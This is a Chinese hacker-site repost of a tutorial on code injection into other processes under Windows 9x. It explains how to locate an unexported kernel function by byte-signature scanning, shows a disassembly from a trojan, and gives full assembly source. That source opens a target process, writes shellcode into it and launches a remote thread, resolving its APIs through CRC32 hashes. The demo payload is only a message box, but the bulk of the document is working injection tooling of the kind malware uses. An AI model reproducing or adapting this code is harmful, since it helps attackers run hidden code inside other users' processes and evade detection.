您现在的位置: 骇客基地 >> 黑客文章 >> 黑客攻防 >> 黑客编程 >> 正文

挖掘操作系统内部未导出函数,将注入进行到底
骇客基地 阅读: 时间:2008-1-3 1:59:12 来源:www.hookbase.com
  
InjectCode for Win9x..
文章作者:Anskya
原文出处:看雪论坛
转载请保留版权~谢谢

现在注入方式很多,不过无外复三种:
1.使用映射代码然后创建远程线程
2.利用消息钩子插入DLL两种
3.使用调试API.GetThreadContext,SetThreadContext来改变线程的环境启动代码

4.不过基本上Win9x下差不多都是使用消息钩子挂钩模式
当然EliCZ叔叔发布的~EliRT可以让我们在Win9x下也可以使用
CreateRemoteThread注入函数...这里偶简单的说一下另外一种注入方式
利用系统内部函数进行创建远程线程.


这里我就不多说一大堆理论了~相关文献请参见EliCZ叔叔的文章...
当然这里使用的注入方式~他的文章中并没有提及...

1.原理
[1]定位目标
既然是夸进程的创建进程,首先我们怀疑的就是调试API
他们是如何作到调试远程进程的,比如DebugActiveProcess,
他是如何挂起目标进程的...所以对目标进程进行逆向分析..
(关于次问题请到...exetools里面查看相关文章吧...里面有讨论过)

(一下代码是反汇编DebugActiveProcess函数的...这里贴的是关键部分分析)
其实就在DebugActiveProcess下面几行的位置处...自己分析一下就知道了

代码:--------------------------------------------------------------------------------
; IDA output:
;.text:BFF9490D                 push    8                   ; const
;.text:BFF9490F                 push    edi
;.text:BFF94910                 push    offset sub_BFF9494D ; thread
;.text:BFF94915                 push    0FFFFF000h          ; tells kernel to allocate stack
;.text:BFF9491A                 push    edi                 ; pdb
;.text:BFF9491B                 call    CreateRemoteThread9x; arbitrary name
;0xE8 = call; 0x85 = push edi; 0xFFFF = higher part of 0xFFFFF000
特征码:0E857FFFFh(看不懂吗?自己反一下这个函数就知道了...16进制码...请问IDA这里怎么用???为显示不出...)
--------------------------------------------------------------------------------



至少跟踪发现这个函数不是WIndows导出的函数所以我们不能直接调用这个函数
(至少无法通过GetProcAddress函数搜索出地址来...但是我们完全可以定位函数地址和传入参数...分析代码看下面的文章)

2.定位
知道原理了..开始逆向分析...这里分析的目标是国外的一款非常恐怖的"Trojan"程序
Spirit(反向连接+远程注入代码,上传DLL或者EXE并运行之...体积:1.55k,
还有注册表添加,自删除等功能...支持Win9x下进程插入--一开始就对他很好奇^_^)

关键函数逆向分析部分:OD反出来的...

代码:--------------------------------------------------------------------------------
00400158    68 40000000     push    40
0040015D    68 00300008     push    8003000
00400162    68 D5050000     push    5D5
00400167    57              push    edi
00400168    FF15 42144000   call    [401442]                         ; kernel32.VirtualAlloc
0040016E    68 08000000     push    8
00400173    57              push    edi
00400174    50              push    eax
00400175    57              push    edi
00400176    68 D1040000     push    4D1
0040017B    8D15 0E114000   lea     edx, [40110E]  ;这个地址是需要插入的代码内存地址
00400181    52              push    edx
00400182    50              push    eax
00400183    56              push    esi
00400184    FF15 32144000   call    [401432]                         ; kernel32.WriteProcessMemory
0040018A    FF15 3E144000   call    [40143E]                         ; kernel32.GetCurrentProcessId
00400190    64:3305 3000000>xor     eax, fs:[30]
00400197    31C3            xor     ebx, eax
00400199    8B35 3A144000   mov     esi, [40143A]                    ;kernel32.DebugActiveProcess
0040019F    46              inc     esi
004001A0    813E FFFF57E8   cmp     dword ptr [esi], E857FFFF  ;比较是否是CreateRemoteThread9x内存特征
004001A6  ^ 75 F7           jnz     short 0040019F    ;不等继续跳转
004001A8    AD              lods    dword ptr [esi]    ;搜索到以后开始获取地址(扫描两次)
004001A9    AD              lods    dword ptr [esi]
004001AA    01F0            add     eax, esi      
004001AC    68 00F0FFFF     push    -1000
004001B1    53              push    ebx
004001B2    FFD0            call    eax
004001B4    57              push    edi
004001B5    50              push    eax
004001B6    8B35 2A144000   mov     esi, [40142A]                    ; kernel32.OpenProcess
004001BC    46              inc     esi
004001BD    813E 50FF32E8   cmp     dword ptr [esi], E832FF50
004001C3  ^ 75 F7           jnz     short 004001BC
004001C5    AD              lods    dword ptr [esi]
004001C6    AD              lods    dword ptr [esi]
004001C7    01F0            add     eax, esi
004001C9    53              push    ebx
004001CA    FFD0            call    eax        ;调用此函数
004001CC    61              popad
004001CD    C3              retn
--------------------------------------------------------------------------------



3.实现
不用说了吧~上面的代码逆向写一下就OK了...
既然注入代码我们就作全套...

[1]申请远程进程空间(C代码实现)
WinNT下我就不多说了~反正大家都知道的
关键说说Win9x
逆向分析一下中国黑客病毒
(CreateKernelThread创建线程...和
MoveDataToKnl函数(WHG自己写的具体看ChineseHacker代码))

不过他好像不能让我们将代码注入到别的进程内部...
好了Google搜了一下文章...发现Win9x内核下0x8000000以上空间都是透明的?
Why?你最好别问我,我也不知道..我很菜...

所以以上反汇编出来的代码是

代码:--------------------------------------------------------------------------------
00400158    68 40000000     push    40
0040015D    68 00300008     push    8003000
00400162    68 D5050000     push    5D5
00400167    57              push    edi
00400168    FF15 42144000   call    [401442]                         ; kernel32.VirtualAlloc
--------------------------------------------------------------------------------


啊~好了...写一下具体代码好了

代码:--------------------------------------------------------------------------------
LPVOID My_VirtualAllocEx(HANDLE hProcess, LPVOID lpAddress, DWORD dwSize, DWORD flAllocationType, DWORD 
flProtect) 
{
  if (GetVersion() > 0x80000000)
  {
    return VirtualAlloc(lpAddress, dwSize, 0x8000000 + MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  }else
  {
    return VirtualAllocEx(hProcess, lpAddress, dwSize, flAllocationType, flProtect);
  }
}
BOOL My_VirtualFreeEx(HANDLE hProcess, LPVOID lpAddress, DWORD dwSize, DWORD dwFreeType) 
{
  if (GetVersion() > 0x80000000)
  {
    return VirtualFree(lpAddress, dwSize, MEM_RELEASE);
  }else
  {
    return VirtualFreeEx(hProcess, lpAddress, dwSize, dwFreeType);
  }
}
--------------------------------------------------------------------------------



需要注意的是~在Win9x下申请空间和释放空间以前需要~~OpenProcess
一下....在Win9x下申请空间还有一种方法:SharedMemoryAlloc函数
直接的Windows头部里面好像没有...大家可以从ComCtl32.dll里面导出...
这个函数使用非常简单..就一个参数.申请空间长度...

创建远程线程代码在附件内....(把上面的OD反汇编代码写一遍就OK了~有必要吗???)

具体示例代码看:附件~注入代码到记事本....支持Win9x下注入

参考文献:
[1]EliCZ 的EliRT代码,主页.看雪上有友情连接
[2]y0da 的Invisibility代码,主页.看雪上有友情连接

文章作者:Anskya
原文出处:看雪论坛
转载请保留版权~谢谢

终于可以上传了~


代码:--------------------------------------------------------------------------------
;======================================================
;远程线程注入对话框演示 Ex By Anskya
;支持Win9x下代码注入..
;Email:Anskya@Gmail.com
;======================================================
.586
.model flat
locals @@
include \D.N.ASM\include\useful.inc
include \D.N.ASM\include\MZ.INC
include \D.N.ASM\include\PE.INC
.data
  notepad db ’Notepad’,0
injected:
    ;int 3
    pushad
    
    call @@delta
@@delta:
    pop ebp
    sub ebp,offset @@delta
    
    push 0
    lea eax,[ebp+offset cap]
    push eax
    lea eax,[ebp+offset msg]
    push eax
    push 0
    call [ebp+__MessageBoxA]
@@Exit:
    push 0
    call [ebp+__ExitThread]
    ;_invoke [ebp+__ExitThread],0
    popad
    ret
;------------------使用数据----------------------------------
  
  msg  db  "[*] Hello World Coder! (C) Anskya.",0dh,0ah,0
  cap  db  "MsgBox By Anskya",0
  
    k32_api:
        db  ’kernel32’,0
          __ExitThread        dd  0058F9201h
          __WinExec          dd  028452C4Fh
          __OpenProcess        dd  033D350C4h
          __WriteProcessMemory    dd  00E9BBAD5h
        dd 0
  
    u32_api:
        db  ’user32’,0
          __MessageBoxA          dd  0D8556CF7h
          __FindWindowA        dd  085AB3323h
          __GetWindowThreadProcessId  dd  07B46AF5Eh
        dd 0
    
injected_size equ $-injected
.code
public c entry
entry:
;-------获取相关API函数
    lea eax,k32_api
    push eax
    call get_apicrc
    lea eax,u32_api
    push eax
    call get_apicrc
;-------获取完毕-------执行主函数部分
    ;call injected
    
    push 5
    push offset notepad
    call __WinExec
      
    push 0
    push offset notepad
    call __FindWindowA    ;获取窗口句柄
    
    push eax
    push esp
    push eax
    call __GetWindowThreadProcessId
    pop eax
    mov ebx,eax
    push eax
    push 0
    push 1f0fffh                    ;PROCESS_ALL_ACCESS
    call __OpenProcess
    mov ebp,eax
    
    push 40h                        ;PAGE_EXECUTE_READWRITE
    push 3000h                  ;MEM_COMMIT or MEM_RESERVE
    push injected_size
    push 0
    push ebp                        ;pid
    call RT32_VirtualAllocEx
    mov edi,eax
    push eax
    push esp
    push injected_size
    lea eax,injected
    push eax
    push edi
    push ebp
    call __WriteProcessMemory
    pop eax
    push eax
    push esp
    push 0
    push esi
    push edi
    push 0
    push 0
    push ebx
    call RT32_CreateRemoteThread
    pop ecx
    
ExitProc:
    push 0
    callw ExitProcess
    ret
;-------使用函数地址
RT32_VirtualAllocEx:
    pushad
    mov ebx,[esp+8*4+4]
    mov ebp,[esp+8*4+8]
    mov edx,[esp+8*4+12]
    mov esi,[esp+8*4+16]
    mov edi,[esp+8*4+20]
    call get_k32base
    mov ecx,cs
    xor cl,cl
    jecxz @@os_nt
@@os_9x:
    push edi
    or esi,8000000h
    push esi
    push edx
    push ebp
    push 04402890Eh                ;VirtualAlloc
    push eax
    call get_addr32crc
    call eax
    jmp @@finished
@@os_nt:
    push 0DA89FC22h                ;VirtualAllocEx
    push eax
    call get_addr32crc
    push edi
    push esi
    push edx
    push ebp
    push ebx
    call eax
@@finished:
    mov [esp+pushad_eax],eax
    popad
    ret 4*5
    
RT32_CreateRemoteThread:
    pushad
    mov ebp,[esp+8*4+4]
    call get_k32base
    mov esi,eax
    push ebp
    push 0
    push 1f0fffh                   ;PROCESS_ALL_ACCESS
    push 033D350C4h                ;OpenProcess
    push esi
    call get_addr32crc
    call eax
    mov ebx,eax
    
    push 0CF4A7F65h                ;CreateRemoteThread
    push esi
    call get_addr32crc
    mov ecx,cs
    xor cl,cl
    jecxz @@os_nt
@@os_9x:
    call get_obfs
    xor ebp,eax 
call search_crt9x
    jnc @@error
    mov esi,eax
    
    mov edi,[esp+8*4+16]
    mov eax,[esp+8*4+20]
    push 8
    push eax
    push edi
    push 0fffff000h
    push ebp
    call esi
    push eax
    call search_halloc9x
    jnc @@error
    mov edx,eax
    pop eax
    
    push 0
    push eax
    push ebp
    call edx
    jmp @@finished
@@os_nt:
;   push dwo [esp+8*4+28+ 0]
;   push dwo [esp+8*4+24+ 4]
;   push dwo [esp+8*4+20+ 8]
;   push dwo [esp+8*4+16+12]
;   push dwo [esp+8*4+12+16]
;   push dwo [esp+8*4+8 +20]
    push 6
    pop ecx
@@loop_push:
    push dwo [esp+8*4+28]
    loop @@loop_push
    push ebx
    call eax
@@finished:
    mov [esp+pushad_eax],eax
    popad
    ret 4*7
@@error:
    sub eax,eax
    dec eax
    mov [esp+pushad_eax],eax
    popad
    ret 4*7
    
get_obfs:
    pushad
    push 0EB1CE85Ch                ;GetCurrentProcessId
    call get_k32base
    push eax
    call get_addr32crc
    call eax
    mov ebx,eax
    mov eax,fs:[30h]
    xor eax,ebx
    mov [esp+pushad_eax],eax
    popad
    retn
search_halloc9x:
    pushad
    call get_k32base    
    push 033D350C4h                ;OpenProcess
    push eax
    call get_addr32crc
    mov esi,eax
    mov eax,0E832ff50h
    jmp search_compare
        
search_crt9x:
    pushad
    call get_k32base    
    push 07FC598E3h                ;DebugActiveProcess
    push eax
    call get_addr32crc
    mov esi,eax
   ; IDA output:
   ;.text:BFF9490D                 push    8                   ; const
   ;.text:BFF9490F                 push    edi
   ;.text:BFF94910                 push    offset sub_BFF9494D ; thread
   ;.text:BFF94915                 push    0FFFFF000h          ; tells kernel to allocate stack
   ;.text:BFF9491A                 push    edi                 ; pdb
   ;.text:BFF9491B                 call    CreateRemoteThread9x; arbitrary name
   ;0xE8 = call; 0x85 = push edi; 0xFFFF = higher part of 0xFFFFF000
;  mov eax,0fffff000h    
   mov eax,0E857FFFFh
;  DEBUG: CloseHandle
;  mov eax,0E8560002h
search_compare:    
    sub ecx,ecx
    mov cl,255     ;approx. size of DebugActiveProcess, just in case
@@compare:
    cmp eax,[esi]
    jz @@save
    inc esi
    dec ecx
    jecxz @@exit
    jmp @@compare
@@save:
    lodsd
    lodsd          ;eax = relative address of CreateRemoteThread9x()
    add eax,esi    ;absolute address
    mov [esp+pushad_eax],eax
    stc
@@exit:
    popad
    retn
;--------The End~~~[^_^]  
get_apicrc:
    pushad
    mov esi,[esp+8*4+4]
    call get_k32base
    push 04134D1ADh      ;LoadLibraryA
    push eax
    call get_addr32crc
    
    push esi
    call eax
    mov ebx,eax
    
    sub eax,eax
    lodsb
    test al,al
    jnz $-3
    mov edi,esi
@@loop:
    lodsd
    test eax,eax
    jz @@end
    push eax
    push ebx
    call get_addr32crc
    stosd
    jmp @@loop
@@end:
    popad
    retn 4
;void* get_addr32crc(DWORD base, DWORD crc32)
get_addr32crc:
    pushad
    mov ebx,[esp+8*4+4]
    mov esi,[esp+8*4+8]
    
    sub ebp,ebp     ;counter
    mov edx,ebx
    add edx,[edx.mz_neptr]
    mov edx,[edx.pe_exportrva]
    add edx,ebx
    mov eax,[edx.ex_numofnamepointers]
    mov edi,[edx.ex_addresstablerva]
    add edi,ebx
    mov edi,[edx.ex_namepointersrva]
    add edi,ebx
    
    push edx
    mov edx,edi
    
@@next:
    mov edx,[edi]
    add edx,ebx
    inc ebp
    pushad
    mov esi,edx
    sub ecx,ecx
    lodsb
    inc ecx
    test al,al
    jnz $-4
    mov [esp+pushad_ecx],ecx
    popad
    
@@cmpstr:
    pushad
;   mov edx,edx
    sub eax,eax
    call xcrc32
    cmp eax,esi
    popad
    jz @@found
    
;    push eax
;    sub eax,eax
;    scasb
;    jnz $-1
;    pop eax
    add edi,4
    dec eax
    jz @@error
    jmp @@next
@@found:
    pop edx
    dec ebp
    mov ecx,[edx.ex_ordinaltablerva]
    add ecx,ebx
    movzx eax,wo [ecx+ebp*2]
    mov ebp,[edx.ex_addresstablerva]
    add ebp,ebx
    mov eax,[ebp+eax*4]
    add eax,ebx
@@error:
    mov [esp+pushad_eax],eax
    popad
    ret 4*2
;void* get_k32base();
get_k32base:
    pushad
    sub eax,eax
    mov eax,fs:[eax+30h]
    test eax,eax
    js @@os_9x
@@os_nt:
    mov eax,[eax+0ch]
    mov esi,[eax+1ch]
    lodsd
    mov eax,[eax+8]
    jmp @@finished
@@os_9x:
    mov eax,[eax+34h]
    lea eax,[eax+7ch]
    mov eax,[eax+3ch]
@@finished:
    mov [esp+pushad_eax],eax
    popad
    retn
; zhengxi’s crc32(): optimised by Vecna
; input: EDX=data, ECX=size, EAX=crc 
; output: EAX=crc, EDX+=ECX, ECX=BL=0 
xcrc32:
    pushad
    jecxz @@4 
    not eax 
@@1: 
    xor al, [edx] 
    inc edx 
    mov bl, 8 
@@2:
    shr eax, 1 
    jnc @@3 
    xor eax, 0EDB88320h 
@@3:
    dec bl 
    jnz @@2 
    loop @@1 
    not eax 
@@4:
    mov [esp+pushad_eax],eax
    popad
    ret
end
今天广告
参与评论:
注意事项:
【挖掘操作系统内部未导出函数,将注入进行到底】文章由骇客基地网上搜集,其立场行为并不代表本站。
如果您发现该文章若无意中侵犯到您的权利,请联系我们!
未经本站明确许可,任何网站不得非法盗链及抄袭本站资源;如引用页面,请注明来自本站,谢谢您的支持!
最近更新
最新推荐
     
 
黑客首页 | 服务指南 | 软件发布  | 关于我们 | 本站声明  | 隐私声明 | 诚征英才 | 网站地图 | 友情链接 |
 
 
中国·黑客·骇客·基地 请使用IE6.0版本, 分辩率1024×768进行浏览 www.hookbase.com 站长:利客 Email:hookbase@163.com
Copyright © 2004-2009 All Rights Reserved. 粤ICP备05000985号